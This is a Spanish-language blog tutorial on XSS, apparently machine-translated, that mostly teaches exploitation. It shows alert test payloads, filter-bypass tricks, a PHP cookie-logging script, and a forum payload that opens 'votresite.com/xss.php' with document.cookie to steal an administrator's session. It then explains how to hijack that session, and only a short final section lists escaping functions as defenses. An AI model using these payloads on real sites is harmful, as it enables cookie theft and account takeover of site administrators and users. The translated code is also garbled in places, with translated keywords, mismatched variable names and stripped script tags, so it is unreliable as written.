Defecto XSS, ¿qué es y cómo protegerse de él?

fallo xss 840x400 1
fallo xss 840x400 1

Última actualización: 16 de julio de 2022

En esta publicación, le contaré sobre la falla de secuencias de comandos entre sitios, abreviada XS. Veremos juntos cómo explotar este defecto y, por supuesto, cómo protegerse de él.

Antes de comenzar, debo aclarar una cosa: mucha gente está pensando que esta falla es inútil. Bueno, eso está mal. Créeme, el Defecto XSS es peligroso, por supuesto que no podrás tomar el control de un servidor con esta falla, pero lo hace más fácil para otro tipo de ataques. Solo hay que saber usarlo.

¿Cuál es la vulnerabilidad XSS?

La Defecto XSS, originalmente CSS (Cross Site Scripting) modificado para no confundirse con Cascading Style Sheet CSS, es un tipo de vulnerabilidad de seguridad de sitios web, que se encuentra en aplicaciones web mal diseñadas.

El principio de esta falla es inyectar un código malicioso en lenguaje JavaScript en un sitio web vulnerable. Por ejemplo, publicando un mensaje en un foro que redirige al usuario a un sitio falso (suplantación de identidad) o que roba su información (cookies).

La Defecto XSS le permite ejecutar scripts en el lado del cliente. Esto significa que solo puede ejecutar JAVASCRIPT, HTML y otros lenguajes que solo se ejecutarán en quien esté ejecutando el script y no en el servidor directamente. Dejo que tu imaginación te dé ideas.

¿Cómo detectar la presencia de una falla XSS?

En las XSS están muy extendidos en la web, más concretamente en foros, aplicaciones web y motores de búsqueda.
La detección de la presencia de un Defecto XSS se puede hacer, por ejemplo, ingresando un script JavaScript en un campo de formulario o en una URL:

alert (Hack)

Si aparece un cuadro de diálogo, se puede concluir que la aplicación web es susceptible a ataques de tipo XSS.

Para comprender completamente el principio, nada mejor que un ejemplo.
Suponga el siguiente código:


<?php if (isset($_GET[‘mot_recherche’]))
{
echo “Estás buscando la siguiente palabra: “.$_GET['palabra de búsqueda'];
}?>Buscar:



En un navegador web, esto daría:

No se transmitió ninguna variable en GET, por lo que la página solo muestra "Buscar".
Si ahora escribo " FunInformatique » y valido, me da « Estás buscando la siguiente palabra: FunInformatique ".
Hasta ahora todo normal. Pero, ¿y si escribo alert(‘Hack’) en la barra de búsqueda, se ejecuta así el código JavaScript. Entonces podemos concluir que esta aplicación contiene un defecto XSS.

¿Cómo omitir los filtros XSS?

En realidad, no siempre funciona así. Los desarrolladores web son conscientes de este ataque, por lo que han desarrollado métodos para proteger sus aplicaciones web contra esta vulnerabilidad. Puedo, por ejemplo, citar magic_quote_gpc.

En esta parte, le mostraré cómo omitir algunos filtros utilizados por los desarrolladores para proteger las aplicaciones web:

Filtro Magic_quotes_gpc

Cuando la función magic_quotes está activada, todos los caracteres ' (apóstrofes), » (comillas), (barra invertida) y NULL se reemplazan por una barra invertida. La función "magic_quotes_gpc" protege los datos enviados por los métodos "GET", "POST.
Por ejemplo, si ingreso el siguiente código en la barra de búsqueda y hago clic en enviar:

alert(« Hack »)

Se convierte:

alert(\ »hack\ »)

Entonces, ¿cómo eludir este filtro? Simplemente use la función javascript llamada String.fromCharCode ().

Esta función convertirá nuestro texto a caracteres decimales.
Para esto usaré Barra de hackers, un complemento de Firefox.

El uso de "hackear" (sin comillas) se verá así:

alert(String.fromCharCode(104, 97, 99, 107))

¡Milagro funciona!

Técnica de ofuscación

Este filtro, por ejemplo, bloquea las siguientes palabras:

  • guión
  • alerta

Aquí si ponemos alert(‘Hack’) el sitio nos dará como mensaje alerta() porque el quitará todos los et .

Para evitar este filtro, simplemente cambiar par et alert par alealertrt

como esto :

ipt > alealertrt() ipt >

Una vez que se quitan los banners nos da:

alert(« Hack »)

¡Y todavía funciona!

Existe un complemento de Firefox, XSS ME, especializado en encontrar este tipo de vulnerabilidad.

¿Cómo aprovechar una vulnerabilidad XSS?

De acuerdo, como acabamos de ver, los defectos XSS ejecutar en el lado del cliente. Entonces, para atrapar un objetivo, debemos hacer que el administrador del sitio ejecute nuestro script él mismo. Y después, tenemos que recuperar su cookie.

Entonces, para aprovechar la falla XSS, necesitamos un script PHP que recupere el valor de la variable $ cookie y lo escriba en un archivo .txt.

Para eso, cree un archivo con el nombre xss.php y ponga el siguiente código:


$cookie = $_GET['a']; // reconocemos a como una variable GET
si ($ galleta)
{
$fp = fopen('cookies.txt','a'); // Abrir cookies.txt para editar
fputs($fp,$cook . 'rn');// Escribimos el contenido de la cookie en una nueva línea
fclose($fp); // Cerramos el archivo cookies.txt
}?>

ubicación.replace('http://www.google.fr);
// Redirige el objetivo a google.fr para que no sospeche nada

Guarde el archivo xss.php, luego colóquelo en un servidor FTP que admita PHP. Aquí nuestro script está en su lugar, solo queda probarlo.

Imagine que al probar las técnicas mencionadas anteriormente en un foro, del que es miembro, detecta la presencia de una vulnerabilidad XSS y desea utilizar el script PHP que hemos creado.

 ¿Cómo?

Simplemente publica un mensaje en el foro que contiene el siguiente texto:

window.open(‘http://votresite.com/xss.php?a=’+document.cookie)
XSS en el foro de Google

Al ver el código, entendemos perfectamente que existe? A =, es la variable $ _GET ['a'] de nuestro código.

documento.cookie representa la cookie de la víctima.

Acaba de recuperar la cookie de administrador del foro, pero ¿qué hacer con ella?

En este momento, muchas personas piensan que las vulnerabilidades XSS no son peligrosas, pero están muy equivocadas.

Una vez que haya recuperado una cookie, podrá poner en su carpeta con sus cookies. Luego reinicie su navegador web y podrá acceder a la sesión de administración sin necesidad de una contraseña.

Protéjase de la vulnerabilidad XSS

Varias técnicas le permiten protegerse del defecto XSS:

  •  La función htmlspecialchars () convierte caracteres especiales en entidades HTML.
  • htmlentities() que es idéntico a htmlspecialchars() excepto que coincide con todos los caracteres equivalentes a la codificación html o javascript.
  • strip_tags (), esta función elimina todas las etiquetas.

¡Espero que haya podido aprender algo a través de este artículo y que haya entendido el peligro de la falla XSS!
Si no, piensa en compartir esta publicación en Facebook o Twitter, ¡eso me haría muy feliz! 😉